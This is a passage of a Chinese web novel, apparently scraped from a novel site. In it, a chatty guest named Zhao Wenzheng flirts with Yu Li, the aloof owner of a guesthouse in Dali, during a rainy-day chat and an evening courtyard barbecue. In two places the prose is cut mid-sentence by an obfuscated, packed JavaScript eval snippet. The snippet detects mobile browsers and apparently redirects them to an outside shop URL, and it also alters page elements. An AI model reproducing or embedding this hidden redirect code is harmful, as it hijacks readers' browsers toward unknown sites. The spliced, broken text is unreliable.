赵闻铮点点头:“至于推荐……我个人比较喜欢清迈,那里的氛围和大理有点像,夜市很热闹。” 男孩掏出小本子,当即扬言要把清迈加入旅行计划当中。 喻厘安静地听着,在心中暗自对赵闻铮的话表示赞同。 她之前去过清迈,那地方确实不错,咖啡最好喝了。 “不过……”赵闻铮忽而话锋一转:“你一个人旅行还是要小心,随时和家人朋友保持联系,我说得对吧,老板娘?” “!?” 骤然被点名,喻厘呼吸一凛,瞬间变得紧张起来,心脏砰砰直跳。 一众人等因为赵闻铮这一嗓子,齐刷刷地转头朝她看过来。 喻厘则笔直地望向某位罪魁祸首,后者却笑容满面的,真是叫人气不打一处来。 偏偏被那么多人盯着,她又不能表现得太明显,于是只能点了点头,面无表情地吐出两个字:“是的。” 实际上早就在心里怒骂赵闻铮了。 他要聊就聊吧,没事非得扯上她干嘛呢? 赵闻铮耸了下肩膀,笑道:“看,老板娘也这么说。” 男孩郑重点头:“我一定会多注意的。” 众人收回视线,再次投入热火朝天的聊天中。 一切发生得都很自然,似乎没什么大不了的。 喻厘重新打开放在手边的书。 如果此时有人在旁边,绝对会发现其实她迟迟没有翻到下一页。 事实上,连她自己都没办法形容此刻的心情,因为她已经许久没有参与过这样场合了。 似乎……比想象中要简单一些。 聊天还在继续。 另一个刚来民宿没几天的住客,望着窗外淅沥不断的雨幕,抱怨道:“我才来了两天,结果天天下雨,本来打算去古城的,现在哪儿都去不了了。” 赵闻铮露出惋惜的表情:“那你岂不是错过了很多东西?” “是啊。”那人说:“听网上说大理特色美食特别多,我还想挨个尝尝呢!” 末了又哀叹一声:“这雨到底什么时候能停啊?” “我前几天刚去过古城,确实有很多好吃的,米线、耙肉饵丝、喜洲粑粑、……”赵闻铮报菜名般细数各项美食,忽然想到什么,他强调道:“哦对,烤乳扇,你一定要尝尝,保证你吃了一口再也忘不掉!” “对吧,老板娘?” 喻厘倏地回神,压根不知道他前面说了什么,胡乱地应了声。 等到又被赵闻铮第三次,第四次…… 她已经能板着脸做一个没有感情的点头机器了。 …… 顺着刚才的话题,有人问:“所以,你们都是因为什么来的大理?” 关于这个,那可就有太多东西可聊了。 还是那句话:“来大理的人,谁身上还没点故事了!” “我!我先说!”一个姑娘抢着举手:“我觉得这里景色很好,更重要的是自由,连风里都是自由的味道。” 其他人表示赞同:“大理是个神奇的地方,能够治愈一切,自从来了这里,我的失眠都被治好了。” “确实。不用在乎别人的看法,也没人会管你干嘛,哪怕在街上裸奔估计都不会被多看一眼……当然,我只是举个例子。” 赵闻铮这次破天荒地没有开口,只是默默听着。 他偏头看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093843|195566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在前台后面那道身影,笑意不自觉地从唇边荡开。 如果半个月前有人问他这个问题,那么他一定会回答对方是来爬山徒步的。 至于现在嘛…… 他会说:“为了一个人。” 没错,大理确实是个神奇的地方,在来这里之前你永远不会知道将要发生什么。 不知道老板娘是因为什么来的大理? 赵闻铮想。 他知道喻厘不是本地人,因为她说普通话时没有阿兰那样的口音,也不像阿鹏喜欢加“嘎嘎嘎”的语气词。 念头刚起,就听见有人说:“哈哈,网上不是都说很多人是因为失恋才来大理的嘛,自此断情绝爱,追求诗和远方。” 赵闻铮“唰”地将头扭回来。 现场有那么一瞬间的寂静,半数人脸上都露出苦笑。 “……被你猜对了,我真被人甩了。” “咱俩同病相怜,我也是因为失恋出来散心的。” “……” 赵闻铮嘴角的笑意彻底僵住。 尤其再联想到喻厘佛系的、仿佛对一切都不在乎、恨不得与世隔绝的生活状态。 就感觉更像了…… 一群人挨个说完,视线集体落在赵闻铮身上。 坐在旁边的人用胳膊肘碰了碰他,提醒说:“哥们,到你了。” “我啊……”赵闻铮将飘远的思绪拽回来。 在一众期待的注视下,他站起身,拍了一下那人的肩膀:“秘密!” 说完,他抄起桌上已经见底的茶水壶:“我去接水。” 背后传来一片不屑的“切~”声。 赵闻铮走到前台处,把水壶放在饮水机下方,倚着柜台一边等水接满,一边试探着开口:“老板娘,你呢?” 喻厘好不容易等到赵闻铮终于不喊她了,再次静下心来看书,结果还没翻两页呢,就又被他打断了。 “什么?”她冷冷地问。 “大家刚才在说各自为什么要来大理。”赵闻铮指了指长桌的方向,然后又问:“你为什么来大理开民宿啊?” 喻厘反问他:“你问这个干嘛?” 看在赵闻铮眼中,这就有点“顾左右而言他”的意思了。 他张了张嘴,欲言又止。 喻厘淡声提醒道:“水满了。” “哦哦!” 赵闻铮回头一看发现水果然满了,差一点就要溢出来。 他赶紧把饮水机关了,端着茶壶往前走了两步,又后倒退回来,吞吞吐吐地问:“不会也是……” “为情所困吧?” 憋了半天就想问这个? “我没那么无聊。”喻厘实在是没忍住翻了个白眼:“你如果觉得自己太闲就帮阿兰他们干活去。” 不知道为什么,话音落下的瞬间,她感觉赵闻铮的心情好像一下子变好了。 他点了点头,转身返回长桌边,给每个人面前的杯子里倒满水,然后嬉笑着地勾住旁边人的脖子坐下。 喻厘真的是百思不得其解。 他到底在高兴什么? 阿鹏搬着一大箱废品出来,走到廊下时,他突然喊道:“哎?雨好像停了!” 15. 烧烤 这句话像是往人群中丢了个炸弹,气氛再度沸腾。 众人一窝蜂地涌向窗边,连声惊呼:“真的啊!” “雨真的停了!” “可算是停了!” “……” 喻厘也跟着站起来往外看。 院子里有一片小小的人工池塘,水面上已经看不到雨水落下时激起的圈圈涟漪。 雨确实停了。 云层逐渐散去,丝缕阳光从缝隙里穿过,久违地洒向大地。 不知道谁忽然提议道:“大家难得能在此相遇,要不然晚上干脆一起在院子里烧烤吧。” 话一出口,立刻得到积极响应。 一拍即合。 他们齐齐转向喻厘,询问意见:“老板娘,可以吗?我们保证不弄坏东西,吃完也会打扫干净的。” 民宿虽然不包三餐,但明确表示可以提供厨具,对此喻厘没什么好不答应的:“等下让阿鹏去库房把工具找出来。” 阿鹏此时恰好回来,闻言问道:“要找什么?” “烤炉之类的。”喻厘解释说:“他们晚上想在院子烧烤。” “哦哦。”阿鹏了然点头:“这边马上结束,忙完我就去找。” “感谢!” 有人发出邀请:“老板娘,一起吃吧,人多热闹。” 喻厘下意识想拒绝。 结果刚要开口,阿兰听到声音从布草间出来了,叠声问:“什么?晚上要烧烤吗?” 她又分别看向阿鹏和赵闻铮,两人的表情都很期待。 一群人的目光都落在她身上,等她回答。 如果拒绝的话,就显得太扫了兴了。 喻厘只得点头答应:“好吧。” “哦耶!” 阿兰兴奋地原地蹦哒着转了一圈。 阿鹏立刻转身出门:“我现在就去找烤架。” 住客们已经开始商量要买些什么菜了。 “烤茄子,烤韭菜,蒜蓉粉丝,面包片!”这是素食主义者。 “鸡翅,鸡头,鸡爪,鸡胗……” 而这位大有一副要将鸡全身的部位都报一遍的架势。 有人笑着打断他:“你干脆吃个鸡全家算了。” 喻厘依旧做一个安静的旁观者,只听着他们七嘴八舌地发表意见。 原本正聊得火热的赵闻铮却在这时突然抬头。 视线猝不及防相撞。 紧跟着她就看见赵闻铮大步向自己走来。 “老板娘,你有什么想吃的吗?”他问。 喻厘淡声道:“没有。” “别客气嘛。” “没客气。” 喻厘在吃这方面确实没有什么特殊偏好,又或者说,她对任何事物都这样。 赵闻铮本想借此机会套个话,了解一下她的喜好,可惜失败了。 不过他也不气馁,脑子一转,又换了种方式问:“那你有什么不喜欢吃的吗?” 阿鹏把烤炉挪到院子里,回来就听见这句,于是顺口回道:“栗子姐不吃羊肉。” “OK。”赵闻铮点头表示了解,然后转身走了。 喻厘无语地看着阿鹏,低声吐槽道:“就你嘴快。” 阿鹏挠了挠头,“嘿嘿”一笑。 那边,有人看到他出现,高声喊道:“阿鹏,快过来,跟我们说说你平时都去哪里买菜。” 要想买到新鲜且便宜的食材,还是得靠本地人才行。 喻厘轻抬了下下巴示意:“你直接带他们去吧,额外再准备一些菜。” 虽说是客人主动发出邀请,而且他们还提供工具和场地,但也不能白吃白喝。 她不喜欢欠别人什么。 阿鹏知道她的脾气,没多问,干脆地应了声:“好!” 一行人浩浩荡荡地出门了,民宿里终于重归安静。 喻厘刚准备坐下继续看书,余光忽然瞥见一道身影,仔细一看发现是赵闻铮。 怎么又回来了? 她仰头注视着去而复返的某人,问:“忘东西了?” “没有,我压根没打算去,就把他们送到门口。” “为什么?”喻厘疑惑道。 不应该啊,他不是最喜欢凑热闹的吗? “我得留下来陪你。”赵闻铮笑嘻嘻地说:“老板娘,你可千万别辜负我的一片好意啊。” 然后成功地再次收获了白眼。 但是他一点都没生气,脸上笑容丝毫未减,搭在柜台边缘的手指灵活地敲击着桌面。 如果喻厘懂一些古典乐,就会发现那是李斯特改编版《欢乐颂》的开头部分。 足以看出他现在心情有多好。 …… 大半个小时后,一群人呼啦啦地离开,又呼啦啦地回来。 像石子掉入洱海,荡起一层层涟漪,院子里顿时炸开了声。 根本不需要多说什么,大家很快找准自己的位置,各司其职忙活起来。 所有人都在劳动,喻厘也不好干等着吃白食。 她环视周围,发现只有一个女生在串肉,于是走过去帮忙。 喻厘之前其实没做过这个,目测下来感觉应该挺简单的,结果等真上手了才发现比想象中要难许多。 带着油脂的生肉滑腻腻的,很容易脱手或是扎歪。 就不说别人串三串她才完成一串了,而且人家串上去的每一块肉都牢固,再看她的,颤巍巍,像是随时都有可能掉下去。 另一边,炉子的火已经升起来了,吆喝着先拿两串肉过去试试。 女生扬声应了,端起盘子就要走。 喻厘急忙把自己串的那串拿开。 看着挂在铁签上将掉未掉的肉,她无声地叹了口气。 唉…… 就在这时,耳边响起熟悉的嗓音:“这个有技巧的。” 赵闻铮把另一盆拌好的肉放在旁边,拿起一根铁签演示:“长方形的正常串,四四方方的要从对角走,太偏的或者形状不规则就像缝衣服这样。” 他眨眼间便串完一串,送到她面前展示:“喏!好了。” 喻厘的目光从肉串移到赵闻铮脸上,很是意外的样子。 原来他也不是完全“四体不勤”啊。 赵闻铮本能觉得她看过来的眼神怪怪的。 他双臂交叉抱熊,假装做出防备姿态:“这么看着我干嘛?” “没事。” 喻厘收回视线,按照赵闻铮刚才说的方法重新串肉。 她尝试了两次,虽然串是串上了,看起来也不会掉了,但费了半天劲。 “不对不对!” 就在喻厘又一次拿着肉往签子尖尖上怼的时候,赵闻铮急得直接上手了:“串肉的时候不要用肉去找签子,而是用签子扎肉。” 她顿时愣住了,浑身僵硬,目光一动不动地紧紧盯着两人交叠的双手。 赵闻铮的体温比她要高出很多,存在感异常明显。 “就是这样,学会了吗?”手把手地串完一块肉,他低头询问。 注意到喻厘呆愣的神情,赵闻铮顺着看过去,也跟着一愣,而后匆忙收回手,语无伦次地试图解释:“我就是……我那个……” 此刻他大脑里早已一片空白,半天也没说到重点。 最后还是喻厘拿起一块肉串上,问他:“是这样吗?” 赵闻铮用力点头:“对!” 两人都默契地没再提起这段小插曲。 …… 太阳在一场欢声笑语当中逐渐隐落在苍山背后。 升腾的烟雾飘向处于蓝调时刻的天空。 暖黄色的灯光陆续亮起。 喻厘从厨房洗完手出来时,大家已经将椅子搬到院子里,围坐在一起。 “老板娘!” 她循声看过去。 就见人群中央,赵闻铮高高扬起胳膊在向她招手:“来这边坐!” 喻厘扫了一眼他身边的空位,果断走向另一个方向。 赵闻铮眼睁睁看着她坐到了离自己最远的角落,高举的手臂慢慢垂了下去。 “鸡翅和羊肉串好了!”阿鹏喊道:“派个人过来拿!” 赵闻铮立马跳起来:“我去!” 接过阿鹏递来的烤串,他先把羊肉串放在中间的露营桌上。 有人伸手要拿鸡翅,但被他闪身躲过了。 “两串呢,你分我一个啊!别这么小气。” “不分!”赵闻铮又从桌上拿了一些其他东西,绕到人群另一边,合着烤翅一同递给喻厘:“老板娘,给你。” 喻厘抬头看看他,伸手接过,轻声道谢。 “不客气!” 赵闻铮脚步轻快地回到自己的位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093844|195566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置。 与鸡翅失之交臂那人做出“西子捧心”状,揶揄道:“果然,我在你心里比不过老板娘重要。” 赵闻铮笑着给了他一拳:“废话!” “就是!”另一个人附和道:“老板娘那叫衣食父母,你算哪根葱啊!” 引得其他人纷纷大笑。 喻厘沉默地咬着鸡翅,仿佛他们口中的“老板娘”另有其人,与她毫无关系。 所幸只是随意调侃几句,很快跳到别的话题。 几罐啤酒下肚,气氛变得愈加火热。 哪怕注意力并不在自己身上,喻厘还是很难适应这种环境。 吃了个半饱后,她干脆退出人群,端着杯子坐到角落里的秋千上,仰头望着天空发呆。 不知道究竟过了多久,秋千突然在外力的作用下晃了晃,紧跟着有酒气闯进鼻腔。 喻厘扭头看向旁边。 “老板娘,你怎么一个人坐在这里?”赵闻铮问,嗓子微微发哑。 他小声抱怨道:“我刚才都没找到你。” 甚至无需看脸,仅凭味道和声音判断,喻厘就能猜出他大约没少喝酒。 从话唠变醉鬼了。 她收回视线,继续望天。 迟迟没有得到回应,赵闻铮扯了扯她的袖子,问:“你在干嘛?怎么不理我?” 怎么跟个小孩似的? 喻厘无奈道:“看月亮。” 赵闻铮“啊”了一声:“那我陪你一起看。” 说着,他学着喻厘的样子仰起脑袋。 下半身同时也没闲着,脚踩在地上,长腿蹬直,向后用力,然后快速收回,秋千就这样晃晃悠悠地动起来了。 不远处依旧人声鼎沸,这里却很安静,一处院子仿佛被无形的玻璃罩分割成两个世界。 又过了一会儿,有人喊他:“赵闻铮!你跑哪去了,快过来喝酒!” 玻璃被打破,声音猛地灌进来。 赵闻铮站起身,忽而踉跄了一下,扶着秋千架稳住身形,然后转头看向她。 眼睛亮亮的,仿佛在等征求允许。 喻厘恍惚有种错觉,如果她现在开口告诉赵闻铮不许去,那么他一定会毫不犹豫地重新坐下。 而显然,她并不可能说出这种话来。 “你去和他们聊天吧。”喻厘也从秋千上下来:“时间不早,我先上去睡了。” “哦,那好吧。” 赵闻铮冲向刚才喊他的那个人,很快和对方笑闹成一团。 喻厘把用完的空杯送到厨房,出来时走了几步,再一次听到赵闻铮喊她:“老板娘!” 她停下脚步回头。 赵闻铮举了举手中的杯子,遥遥示意:“晚安!” “晚安。” - 身处其中时还没什么感觉,等一回到房间,喻厘立马觉得浑身上下全是烧烤味儿。 她赶紧钻进浴室,顺便把衣服全部塞到洗衣机里。 等洗完澡出来时,洗衣机还差十分钟停止,喻厘本想着等晾完衣服再睡。 楼下的狂欢仍在继续,欢笑声隔着玻璃门隐约透进来。 她犹豫了一下,推开阳台上走到外面,站在栏杆前往下看。 “朋友一生一起走……” 这是唱上歌了…… 接着不知道谁先起的头,一群人本来好好坐着,忽然站起来开始对着天空大喊。 最初还是发泄般的乱吼,之后就变成真心话诉说现场了。 控诉无良老板,思念去世的父母,哀叹生活艰苦、人生郁郁不得志…… 随后画风又是一转。 “老婆,你今天好漂亮,简直是天底下最美的女人,我好爱你,我想一辈子和你在一起!” “我也爱你!” 对着喊话的是那天吵架的小情侣。 听到这里,喻厘莫名觉得自己像是在偷偷窥视别人的幸福。 恰好卫生间里传来洗衣机结束工作的“滴滴”提示音。 她径直转身进去了。 推拉门即将闭合的瞬间,楼下蓦地传来一声爆喝:“不对!你说的不对!!” 是赵闻铮的声音。 喻厘手上的动作一顿。 想知道他嚷嚷什么不对呢。 结果下一秒,就听他又喊道:“我们老板娘才是最漂亮的!”